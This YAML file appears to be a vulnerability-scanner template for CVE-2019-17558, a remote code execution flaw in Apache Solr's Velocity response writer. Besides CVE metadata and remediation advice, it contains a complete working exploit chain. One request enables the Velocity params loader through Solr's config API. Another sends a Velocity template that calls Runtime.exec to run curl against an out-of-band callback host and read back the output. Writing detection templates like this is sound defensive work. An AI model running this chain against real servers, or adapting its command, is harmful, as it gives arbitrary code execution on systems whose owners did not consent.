75 lines
3.6 KiB
YAML
75 lines
3.6 KiB
YAML
id: CVE-2019-17558
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info:
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name: Apache Solr <=8.3.1 - Remote Code Execution
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author: pikpikcu,madrobot
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severity: high
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description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
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impact: |
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Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.
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remediation: |
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Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability.
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reference:
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- https://issues.apache.org/jira/browse/SOLR-13971
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- https://nvd.nist.gov/vuln/detail/CVE-2019-17558
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- https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E
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- http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html
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- https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.5
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cve-id: CVE-2019-17558
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cwe-id: CWE-74
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epss-score: 0.97507
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epss-percentile: 0.9998
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cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: apache
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product: solr
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tags: kev,packetstorm,cve,cve2019,apache,rce,solr,oast
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http:
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- raw:
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- |
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GET /solr/admin/cores?wt=json HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /solr/{{core}}/config HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{
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"update-queryresponsewriter": {
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"startup": "lazy",
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"name": "velocity",
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"class": "solr.VelocityResponseWriter",
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"template.base.dir": "",
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"solr.resource.loader.enabled": "true",
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"params.resource.loader.enabled": "true"
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}
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}
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- |
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GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
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Host: {{Hostname}}
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Connection: close
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: core
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group: 1
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regex:
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- '"name"\:"(.*?)"'
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internal: true
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# digest: 490a00463044022005accca962ac4c12f24101db669ad2e776158872e535230ba8223fb6f7c129560220768ea8724a070aca6f98445a3f32620393910ce6dbf13a450610ca26b7bd1396:922c64590222798bb761d5b6d8e72950 |